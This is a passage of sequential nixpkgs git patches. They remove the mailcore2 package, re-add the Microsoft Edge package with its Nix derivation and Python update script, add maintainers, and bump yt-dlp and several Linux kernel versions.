-      substituteInPlace src/core/basetypes/MCICUTypes.h \
-        --replace "__CHAR16_TYPE__ UChar" "char16_t UChar"
-    '';
-
-  cmakeFlags = lib.optionals (!stdenv.hostPlatform.isDarwin) [
-    "-DBUILD_SHARED_LIBS=ON"
-  ];
-
-  installPhase = ''
-    mkdir $out
-    cp -r src/include $out
-
-    mkdir $out/lib
-    cp src/libMailCore.* $out/lib
-  '';
-
-  doCheck = !stdenv.hostPlatform.isDarwin;
-  checkPhase = ''
-    (
-      cd unittest
-      TZ=PST8PDT ./unittestcpp ../../unittest/data
-    )
-  '';
-
-  meta = with lib; {
-    description = "Simple and asynchronous API to work with e-mail protocols IMAP, POP and SMTP";
-    homepage = "http://libmailcore.com";
-    license = licenses.bsd3;
-    maintainers = [ ];
-    platforms = platforms.unix;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index de529629f1e7..2092cad2ae5f 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1143,6 +1143,7 @@ mapAliases {
   ma1sd = throw "ma1sd was dropped as it is unmaintained"; # Added 2024-07-10
   mac = monkeysAudio; # Added 2024-11-30
   MACS2 = macs2; # Added 2023-06-12
+  mailcore2 = throw "'mailcore2' has been removed due to lack of upstream maintenance."; # Added 2025-06-09
   mailctl = throw "mailctl has been renamed to oama"; # Added 2024-08-19
   mailman-rss = throw "The mailman-rss package was dropped since it was unmaintained."; # Added 2024-06-21
   mariadb_105 = throw "'mariadb_105' has been removed because it reached its End of Life. Consider upgrading to 'mariadb_106'."; # Added 2025-04-26
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3a450f761cef..6f2321fee970 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -16345,10 +16345,6 @@ with pkgs;
 
   openlilylib-fonts = callPackage ../misc/lilypond/fonts.nix { };
 
-  mailcore2 = callPackage ../development/libraries/mailcore2 {
-    icu = icu71;
-  };
-
   meilisearch_1_11 = callPackage ../by-name/me/meilisearch/package.nix { version = "1.11.3"; };
 
   mongocxx = callPackage ../development/libraries/mongocxx/default.nix { };

From 99a3b7833a2de0ab2fb12628149065fa2f06f9f4 Mon Sep 17 00:00:00 2001
From: Christoph Hollizeck <christoph.hollizeck@hey.com>
Date: Wed, 28 May 2025 09:15:20 +0200
Subject: [PATCH 0804/4511] microsoft-edge: re-init at 137.0.3296.68

(cherry picked from commit 6d2386a54806519a00ac260d0549ad2550a3b25b)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 293 +++++++++++++++++++++
 pkgs/by-name/mi/microsoft-edge/update.py   |  44 ++++
 pkgs/top-level/aliases.nix                 |   1 -
 3 files changed, 337 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/mi/microsoft-edge/package.nix
 create mode 100644 pkgs/by-name/mi/microsoft-edge/update.py

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
new file mode 100644
index 000000000000..4b45e18000ec
--- /dev/null
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -0,0 +1,293 @@
+{
+  fetchurl,
+  lib,
+  makeWrapper,
+  patchelf,
+  stdenv,
+
+  # Linked dynamic libraries.
+  alsa-lib,
+  at-spi2-atk,
+  at-spi2-core,
+  atk,
+  cairo,
+  cups,
+  dbus,
+  expat,
+  fontconfig,
+  freetype,
+  gcc-unwrapped,
+  gdk-pixbuf,
+  glib,
+  gtk3,
+  gtk4,
+  libdrm,
+  libglvnd,
+  libkrb5,
+  libX11,
+  libxcb,
+  libXcomposite,
+  libXcursor,
+  libXdamage,
+  libXext,
+  libXfixes,
+  libXi,
+  libxkbcommon,
+  libXrandr,
+  libXrender,
+  libXScrnSaver,
+  libxshmfence,
+  libXtst,
+  libgbm,
+  nspr,
+  nss,
+  pango,
+  pipewire,
+  vulkan-loader,
+  wayland, # ozone/wayland
+
+  # Command line programs
+  coreutils,
+
+  # command line arguments which are always set e.g "--disable-gpu"
+  commandLineArgs ? "",
+
+  # Will crash without.
+  systemd,
+
+  # Loaded at runtime.
+  libexif,
+  pciutils,
+
+  # Additional dependencies according to other distros.
+  ## Ubuntu
+  curl,
+  liberation_ttf,
+  util-linux,
+  wget,
+  xdg-utils,
+  ## Arch Linux.
+  flac,
+  harfbuzz,
+  icu,
+  libopus,
+  libpng,
+  snappy,
+  speechd-minimal,
+  ## Gentoo
+  bzip2,
+  libcap,
+
+  # Necessary for USB audio devices.
+  libpulseaudio,
+  pulseSupport ? true,
+
+  adwaita-icon-theme,
+  gsettings-desktop-schemas,
+
+  # For video acceleration via VA-API (--enable-features=VaapiVideoDecoder)
+  libva,
+  libvaSupport ? true,
+
+  # For Vulkan support (--enable-features=Vulkan)
+  addDriverRunpath,
+
+  # Edge AAD sync
+  cacert,
+  libsecret,
+
+  # Edge Specific
+  libuuid,
+}:
+
+let
+
+  opusWithCustomModes = libopus.override { withCustomModes = true; };
+
+  deps =
+    [
+      alsa-lib
+      at-spi2-atk
+      at-spi2-core
+      atk
+      bzip2
+      cacert
+      cairo
+      coreutils
+      cups
+      curl
+      dbus
+      expat
+      flac
+      fontconfig
+      freetype
+      gcc-unwrapped.lib
+      gdk-pixbuf
+      glib
+      harfbuzz
+      icu
+      libcap
+      libdrm
+      liberation_ttf
+      libexif
+      libglvnd
+      libkrb5
+      libpng
+      libX11
+      libxcb
+      libXcomposite
+      libXcursor
+      libXdamage
+      libXext
+      libXfixes
+      libXi
+      libxkbcommon
+      libXrandr
+      libXrender
+      libXScrnSaver
+      libxshmfence
+      libXtst
+      libgbm
+      nspr
+      nss
+      opusWithCustomModes
+      pango
+      pciutils
+      pipewire
+      snappy
+      speechd-minimal
+      systemd
+      util-linux
+      vulkan-loader
+      wayland
+      wget
+      libsecret
+      libuuid
+    ]
+    ++ lib.optional pulseSupport libpulseaudio
+    ++ lib.optional libvaSupport libva
+    ++ [
+      gtk3
+      gtk4
+    ];
+in
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "microsoft-edge";
+  version = "137.0.3296.68";
+
+  src = fetchurl {
+    url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
+    hash = "sha256-dgmQF6zpd8dAYKoTSiidk8VU6dZ/ZWEDlYD91IPaDEE=";
+  };
+
+  # With strictDeps on, some shebangs were not being patched correctly
+  # ie, $out/share/microsoft/msedge/microsoft-edge
+  strictDeps = false;
+
+  nativeBuildInputs = [
+    makeWrapper
+    patchelf
+  ];
+
+  buildInputs = [
+    # needed for XDG_ICON_DIRS
+    adwaita-icon-theme
+    glib
+    gtk3
+    gtk4
+    # needed for GSETTINGS_SCHEMAS_PATH
+    gsettings-desktop-schemas
+  ];
+
+  unpackPhase = ''
+    runHook preUnpack
+    ar x $src
+    tar xf data.tar.xz
+    runHook postUnpack
+  '';
+
+  rpath = lib.makeLibraryPath deps + ":" + lib.makeSearchPathOutput "lib" "lib64" deps;
+  binpath = lib.makeBinPath deps;
+
+  installPhase = ''
+    runHook preInstall
+
+    appname=msedge
+    dist=stable
+
+    exe=$out/bin/microsoft-edge
+
+    mkdir -p $out/bin $out/share
+    cp -v -a opt/* $out/share
+    cp -v -a usr/share/* $out/share
+
+    # replace bundled vulkan-loader
+    rm -v $out/share/microsoft/$appname/libvulkan.so.1
+    ln -v -s -t "$out/share/microsoft/$appname" "${lib.getLib vulkan-loader}/lib/libvulkan.so.1"
+
+    substituteInPlace $out/share/microsoft/$appname/microsoft-edge \
+      --replace-fail 'CHROME_WRAPPER' 'WRAPPER'
+    substituteInPlace $out/share/applications/microsoft-edge.desktop \
+      --replace-fail /usr/bin/microsoft-edge-$dist $exe
+    substituteInPlace $out/share/gnome-control-center/default-apps/microsoft-edge.xml \
+      --replace-fail /opt/microsoft/msedge $exe
+    substituteInPlace $out/share/menu/microsoft-edge.menu \
+      --replace-fail /opt $out/share \
+      --replace-fail $out/share/microsoft/$appname/microsoft-edge $exe
+
+    for icon_file in $out/share/microsoft/msedge/product_logo_[0-9]*.png; do
+      num_and_suffix="''${icon_file##*logo_}"
+      if [ $dist = "stable" ]; then
+        icon_size="''${num_and_suffix%.*}"
+      else
+        icon_size="''${num_and_suffix%_*}"
+      fi
+      logo_output_prefix="$out/share/icons/hicolor"
+      logo_output_path="$logo_output_prefix/''${icon_size}x''${icon_size}/apps"
+      mkdir -p "$logo_output_path"
+      mv "$icon_file" "$logo_output_path/microsoft-edge.png"
+    done
+
+    # "--simulate-outdated-no-au" disables auto updates and browser outdated popup
+    makeWrapper "$out/share/microsoft/$appname/microsoft-edge" "$exe" \
+      --prefix LD_LIBRARY_PATH : "$rpath" \
+      --prefix PATH            : "$binpath" \
+      --suffix PATH            : "${lib.makeBinPath [ xdg-utils ]}" \
+      --prefix XDG_DATA_DIRS   : "$XDG_ICON_DIRS:$GSETTINGS_SCHEMAS_PATH:${addDriverRunpath.driverLink}/share" \
+      --set SSL_CERT_FILE "${cacert}/etc/ssl/certs/ca-bundle.crt" \
+      --set CHROME_WRAPPER  "microsoft-edge-$dist" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --add-flags "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" \
+      --add-flags ${lib.escapeShellArg commandLineArgs}
+
+    # Make sure that libGL and libvulkan are found by ANGLE libGLESv2.so
+    patchelf --set-rpath $rpath $out/share/microsoft/$appname/lib*GL*
+
+    # Edge specific set liboneauth
+    patchelf --set-rpath $rpath $out/share/microsoft/$appname/liboneauth.so
+
+    for elf in $out/share/microsoft/$appname/{msedge,msedge-sandbox,msedge_crashpad_handler}; do
+      patchelf --set-rpath $rpath $elf
+      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" $elf
+    done
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = ./update.py;
+
+  meta = {
+    changelog = "https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnote-stable-channel";
+    description = "Web browser from Microsoft";
+    homepage = "https://www.microsoft.com/en-us/edge";
+    license = lib.licenses.unfree;
+    mainProgram = "microsoft-edge";
+    maintainers = with lib.maintainers; [
+      cholli
+      ulrikstrid
+    ];
+    platforms = [ "x86_64-linux" ];
+    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
+  };
+})
diff --git a/pkgs/by-name/mi/microsoft-edge/update.py b/pkgs/by-name/mi/microsoft-edge/update.py
new file mode 100644
index 000000000000..e0d007c12f17
--- /dev/null
+++ b/pkgs/by-name/mi/microsoft-edge/update.py
@@ -0,0 +1,44 @@
+#! /usr/bin/env nix-shell
+#! nix-shell -i python3 -p python3Packages.packaging python3Packages.python-debian common-updater-scripts
+
+import base64
+import textwrap
+import os
+from urllib import request
+
+from collections import OrderedDict
+from debian.deb822 import Packages
+from debian.debian_support import Version
+from os.path import abspath, dirname
+
+PIN_PATH = dirname(abspath(__file__)) + '/default.nix'
+
+def packages():
+    packages_url = 'https://packages.microsoft.com/repos/edge/dists/stable/main/binary-amd64/Packages'
+    handle = request.urlopen(packages_url)
+    return handle
+
+
+def latest_packages(packages: bytes):
+    latest_packages: OrderedDict[str, Packages] = {}
+    for package in Packages.iter_paragraphs(packages, use_apt_pkg=False):
+        name: str = package['Package']
+        if not name.startswith('microsoft-edge-stable'):
+            continue
+        channel = name.replace('microsoft-edge-', '')
+        if channel not in latest_packages:
+            latest_packages[channel] = package
+        else:
+            old_package = latest_packages[channel]
+            if old_package.get_version() < package.get_version():  # type: ignore
+                latest_packages[channel] = package
+    return OrderedDict(sorted(latest_packages.items(), key=lambda x:x[0]))
+
+
+def write_expression():
+    latest = latest_packages(packages())
+    version = Version.re_valid_version.match(latest['stable']['Version']).group('upstream_version')
+    os.system(f'update-source-version microsoft-edge "{version}"')
+
+
+write_expression()
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 2092cad2ae5f..0d7c13444aa3 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1211,7 +1211,6 @@ mapAliases {
   microcodeAmd = microcode-amd; # Added 2024-09-08
   microcodeIntel = microcode-intel; # Added 2024-09-08
   micropad = throw "micropad has been removed, since it was unmaintained and blocked the Electron 27 removal."; # Added 2025-02-24
-  microsoft-edge = throw "microsoft-edge has been removed due to lack of maintenance in nixpkgs"; # Added 2025-05-19
   microsoft_gsl = microsoft-gsl; # Added 2023-05-26
   midori = throw "'midori' original project has been abandonned upstream and the package was broken for a while in nixpkgs"; # Added 2025-05-19
   midori-unwrapped = midori; # Added 2025-05-19

From 96789f2b10da08db7d3b01d6f760553db9f600a3 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Sat, 17 May 2025 23:41:38 +0800
Subject: [PATCH 0805/4511] microsoft-edge: refactor

(cherry picked from commit 7671ffeeeedddae6c1a1d65adb317ac41c7596dd)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 40 ++++++++++++----------
 pkgs/by-name/mi/microsoft-edge/update.py   | 23 +++++++------
 2 files changed, 34 insertions(+), 29 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 4b45e18000ec..8b91f6440bf5 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -1,9 +1,10 @@
 {
-  fetchurl,
   lib,
+  stdenv,
+  fetchurl,
   makeWrapper,
   patchelf,
-  stdenv,
+  dpkg,
 
   # Linked dynamic libraries.
   alsa-lib,
@@ -92,6 +93,9 @@
   # For Vulkan support (--enable-features=Vulkan)
   addDriverRunpath,
 
+  # For QT support
+  qt6,
+
   # Edge AAD sync
   cacert,
   libsecret,
@@ -163,13 +167,13 @@ let
       wget
       libsecret
       libuuid
-    ]
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional libvaSupport libva
-    ++ [
       gtk3
       gtk4
-    ];
+      qt6.qtbase
+      qt6.qtwayland
+    ]
+    ++ lib.optionals pulseSupport [ libpulseaudio ]
+    ++ lib.optionals libvaSupport [ libva ];
 in
 
 stdenv.mkDerivation (finalAttrs: {
@@ -188,6 +192,7 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     makeWrapper
     patchelf
+    dpkg
   ];
 
   buildInputs = [
@@ -200,13 +205,6 @@ stdenv.mkDerivation (finalAttrs: {
     gsettings-desktop-schemas
   ];
 
-  unpackPhase = ''
-    runHook preUnpack
-    ar x $src
-    tar xf data.tar.xz
-    runHook postUnpack
-  '';
-
   rpath = lib.makeLibraryPath deps + ":" + lib.makeSearchPathOutput "lib" "lib64" deps;
   binpath = lib.makeBinPath deps;
 
@@ -218,9 +216,9 @@ stdenv.mkDerivation (finalAttrs: {
 
     exe=$out/bin/microsoft-edge
 
-    mkdir -p $out/bin $out/share
-    cp -v -a opt/* $out/share
-    cp -v -a usr/share/* $out/share
+    mkdir -p $out/bin
+    cp -v -a usr/share $out/share
+    cp -v -a opt/microsoft $out/share/microsoft
 
     # replace bundled vulkan-loader
     rm -v $out/share/microsoft/$appname/libvulkan.so.1
@@ -230,6 +228,8 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail 'CHROME_WRAPPER' 'WRAPPER'
     substituteInPlace $out/share/applications/microsoft-edge.desktop \
       --replace-fail /usr/bin/microsoft-edge-$dist $exe
+    substituteInPlace $out/share/applications/com.microsoft.Edge.desktop \
+      --replace-fail /usr/bin/microsoft-edge-$dist $exe
     substituteInPlace $out/share/gnome-control-center/default-apps/microsoft-edge.xml \
       --replace-fail /opt/microsoft/msedge $exe
     substituteInPlace $out/share/menu/microsoft-edge.menu \
@@ -251,13 +251,16 @@ stdenv.mkDerivation (finalAttrs: {
 
     # "--simulate-outdated-no-au" disables auto updates and browser outdated popup
     makeWrapper "$out/share/microsoft/$appname/microsoft-edge" "$exe" \
+      --prefix QT_PLUGIN_PATH  : "${qt6.qtbase}/lib/qt-6/plugins" \
+      --prefix QT_PLUGIN_PATH  : "${qt6.qtwayland}/lib/qt-6/plugins" \
+      --prefix NIXPKGS_QT6_QML_IMPORT_PATH : "${qt6.qtwayland}/lib/qt-6/qml" \
       --prefix LD_LIBRARY_PATH : "$rpath" \
       --prefix PATH            : "$binpath" \
       --suffix PATH            : "${lib.makeBinPath [ xdg-utils ]}" \
       --prefix XDG_DATA_DIRS   : "$XDG_ICON_DIRS:$GSETTINGS_SCHEMAS_PATH:${addDriverRunpath.driverLink}/share" \
       --set SSL_CERT_FILE "${cacert}/etc/ssl/certs/ca-bundle.crt" \
       --set CHROME_WRAPPER  "microsoft-edge-$dist" \
-      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true --wayland-text-input-version=3}}" \
       --add-flags "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" \
       --add-flags ${lib.escapeShellArg commandLineArgs}
 
@@ -286,6 +289,7 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       cholli
       ulrikstrid
+      emaryn
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
diff --git a/pkgs/by-name/mi/microsoft-edge/update.py b/pkgs/by-name/mi/microsoft-edge/update.py
index e0d007c12f17..e6c8b344d37b 100644
--- a/pkgs/by-name/mi/microsoft-edge/update.py
+++ b/pkgs/by-name/mi/microsoft-edge/update.py
@@ -1,20 +1,19 @@
 #! /usr/bin/env nix-shell
 #! nix-shell -i python3 -p python3Packages.packaging python3Packages.python-debian common-updater-scripts
 
-import base64
-import textwrap
 import os
+from collections import OrderedDict
+from os.path import abspath, dirname
 from urllib import request
 
-from collections import OrderedDict
 from debian.deb822 import Packages
 from debian.debian_support import Version
-from os.path import abspath, dirname
 
-PIN_PATH = dirname(abspath(__file__)) + '/default.nix'
+PIN_PATH = dirname(abspath(__file__)) + "/default.nix"
+
 
 def packages():
-    packages_url = 'https://packages.microsoft.com/repos/edge/dists/stable/main/binary-amd64/Packages'
+    packages_url = "https://packages.microsoft.com/repos/edge/dists/stable/main/binary-amd64/Packages"
     handle = request.urlopen(packages_url)
     return handle
 
@@ -22,22 +21,24 @@ def packages():
 def latest_packages(packages: bytes):
     latest_packages: OrderedDict[str, Packages] = {}
     for package in Packages.iter_paragraphs(packages, use_apt_pkg=False):
-        name: str = package['Package']
-        if not name.startswith('microsoft-edge-stable'):
+        name: str = package["Package"]
+        if not name.startswith("microsoft-edge-stable"):
             continue
-        channel = name.replace('microsoft-edge-', '')
+        channel = name.replace("microsoft-edge-", "")
         if channel not in latest_packages:
             latest_packages[channel] = package
         else:
             old_package = latest_packages[channel]
             if old_package.get_version() < package.get_version():  # type: ignore
                 latest_packages[channel] = package
-    return OrderedDict(sorted(latest_packages.items(), key=lambda x:x[0]))
+    return OrderedDict(sorted(latest_packages.items(), key=lambda x: x[0]))
 
 
 def write_expression():
     latest = latest_packages(packages())
-    version = Version.re_valid_version.match(latest['stable']['Version']).group('upstream_version')
+    version = Version.re_valid_version.match(latest["stable"]["Version"]).group(
+        "upstream_version"
+    )
     os.system(f'update-source-version microsoft-edge "{version}"')
 
 

From a677c086a69b72a64646d370e0cdf09a794cf495 Mon Sep 17 00:00:00 2001
From: maeve <maeve@oa.ke>
Date: Fri, 30 May 2025 11:02:07 +0100
Subject: [PATCH 0806/4511] maintainers: add maeve-oake

(cherry picked from commit a43a45351f18d86c89065283ee4da0c40a7e600b)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 010c97ab4f87..8ef875d7de77 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -14835,6 +14835,13 @@
     name = "Mæve";
     keys = [ { fingerprint = "96C9 D086 CC9D 7BD7 EF24  80E2 9168 796A 1CC3 AEA2"; } ];
   };
+  maeve-oake = {
+    email = "maeve@oa.ke";
+    matrix = "@maeve:oa.ke";
+    github = "maeve-oake";
+    githubId = 38541651;
+    name = "maeve";
+  };
   mafo = {
     email = "Marc.Fontaine@gmx.de";
     github = "MarcFontaine";

From bc4c399ab4899a6b4861425a12d3e7907675de1f Mon Sep 17 00:00:00 2001
From: maeve <maeve@oa.ke>
Date: Fri, 30 May 2025 11:02:17 +0100
Subject: [PATCH 0807/4511] microsoft-edge: add maintainer maeve-oake

(cherry picked from commit b65bca35bd25210888388b295e9078c217ae3f2f)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 8b91f6440bf5..05c8c8727a54 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -290,6 +290,7 @@ stdenv.mkDerivation (finalAttrs: {
       cholli
       ulrikstrid
       emaryn
+      maeve-oake
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];

From e4a967f4fabfc92e08bd9256ded5ac6ca207183b Mon Sep 17 00:00:00 2001
From: vinicius <viniciusvilela19@gmail.com>
Date: Mon, 2 Jun 2025 12:38:01 +0100
Subject: [PATCH 0808/4511] maintainers: add leleuvilela

(cherry picked from commit b4a0df7e4dac0aba2d699aa719cf94f1cbc55a37)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 8ef875d7de77..3b5108a61158 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -13838,6 +13838,12 @@
     githubId = 567634;
     name = "Daniel Kuehn";
   };
+  leleuvilela = {
+    email = "viniciusvilela19@gmail.com";
+    github = "leleuvilela";
+    githubId = 19839085;
+    name = "Vinicius Vilela";
+  };
   lelgenio = {
     email = "lelgenio@lelgenio.com";
     github = "lelgenio";

From 74dbda3746c51b1b24ce095191db85a1dcda39d8 Mon Sep 17 00:00:00 2001
From: vinicius <viniciusvilela19@gmail.com>
Date: Mon, 2 Jun 2025 12:38:54 +0100
Subject: [PATCH 0809/4511] microsoft-edge: add maintainer leleuvilela

(cherry picked from commit c02eb62cbf0778db8ab7901cd21f4e8cdafd2f0d)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 05c8c8727a54..ee4ade1c3ab9 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -291,6 +291,7 @@ stdenv.mkDerivation (finalAttrs: {
       ulrikstrid
       emaryn
       maeve-oake
+      leleuvilela
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];

From b345afd0b3752482446ab976fe72e9909a5f9dd1 Mon Sep 17 00:00:00 2001
From: Treelar <me@treelar.xyz>
Date: Mon, 9 Jun 2025 23:24:19 -0700
Subject: [PATCH 0810/4511] yt-dlp: 2025.5.22 -> 2025.6.9

(cherry picked from commit d8cd14eb879375a9bfbfa84af26e732e15546dd6)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 40c5e97d731b..8cfe41d577f1 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -17,13 +17,13 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.5.22";
+  version = "2025.6.9";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "yt_dlp";
-    hash = "sha256-6nOFTF2rwSTymjWo+um8XUIu8yMb6+6ivfqCrBkanCk=";
+    hash = "sha256-dR9To7YTU1Ir+AX6MLvL0WZmEmU345cG6rT4w2jxEaw=";
   };
 
   build-system = with python3Packages; [

From ae794cdcc393838c52b173a7f3572230e8d427fb Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 10 Jun 2025 15:00:15 +0300
Subject: [PATCH 0811/4511] linux_testing: 6.15-rc7 -> 6.16-rc1

(cherry picked from commit f128867a4cd17832b1abc8002f2a4a9f0dcd9658)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 2837223e4330..6e0608551130 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.15-rc7",
-        "hash": "sha256:0b9149pyg4lzzxqwx6sg8nz9ca1md7aijg9nrcagrq9sypl53hxn"
+        "version": "6.16-rc1",
+        "hash": "sha256:0wi66d2wma4lfs3pbwqg7k1pavxc3wyr54yxii3mmaab81pfdx27"
     },
     "6.1": {
         "version": "6.1.141",

From 61692de0d332345c4eaf3175ed3fc79acc33621f Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 10 Jun 2025 15:00:20 +0300
Subject: [PATCH 0812/4511] linux_6_15: 6.15.1 -> 6.15.2

(cherry picked from commit 5b091df9e7eb073a44c40120c115aacee07e62a0)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 6e0608551130..4ce47ca83bb8 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:0hzylab1gh791qpi5albv5wcjz0m7hrs4k7f6bw24k77xb7rg2yy"
     },
     "6.15": {
-        "version": "6.15.1",
-        "hash": "sha256:0r0dkxwhp4qrihfvbk4ppvyciin1iv9qbp76w2ppnbjizs2bpwa4"
+        "version": "6.15.2",
+        "hash": "sha256:0n28a43nv94vvdkllw5gky9dznymk4myf1jlphfid3jhdimcsn1l"
     }
 }

From bdd985be205910d21e195467a6bda6e8dbc752fe Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 10 Jun 2025 15:00:23 +0300
Subject: [PATCH 0813/4511] linux_6_14: 6.14.10 -> 6.14.11

(cherry picked from commit 9bcda0cbb35b7f6db6d4aae013b733bcffcb9208)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 4ce47ca83bb8..a8142bd082dd 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,8 +32,8 @@
         "hash": "sha256:0hhj49k3ksjcp0dg5yiahqzryjfdpr9c1a9ph6j9slzmkikbn7v1"
     },
     "6.14": {
-        "version": "6.14.10",
-        "hash": "sha256:0hzylab1gh791qpi5albv5wcjz0m7hrs4k7f6bw24k77xb7rg2yy"
+        "version": "6.14.11",
+        "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
         "version": "6.15.2",

From 739113f3eb935c2ab120de7d1ba6d66fa51ea906 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 10 Jun 2025 15:00:28 +0300
Subject: [PATCH 0814/4511] linux_6_12: 6.12.32 -> 6.12.33

(cherry picked from commit 566dfa8b92fb50c7a111644808a7f1a3294c5cbf)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index a8142bd082dd..2d18f73d36c6 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:06bpg5vvh165znzn01mqab2divrsbznxwc73y44z1s9mjqszyy8d"
     },
     "6.12": {
-        "version": "6.12.32",
-        "hash": "sha256:0w3a6k0cbdanknlha3qjyvvmhh3xks9d6xq1043laf3q2xr21c59"
+        "version": "6.12.33",
+        "hash": "sha256:0m52a9mnwc919fsyiyn1gafnrr2mz7w8s7v4n05s40r61xipb9f0"
     },
     "6.13": {
         "version": "6.13.12",

From 2236c68652b8a4edee0f6b9f2062938fd2d45ce2 Mon Sep 17 00:00:00 2001
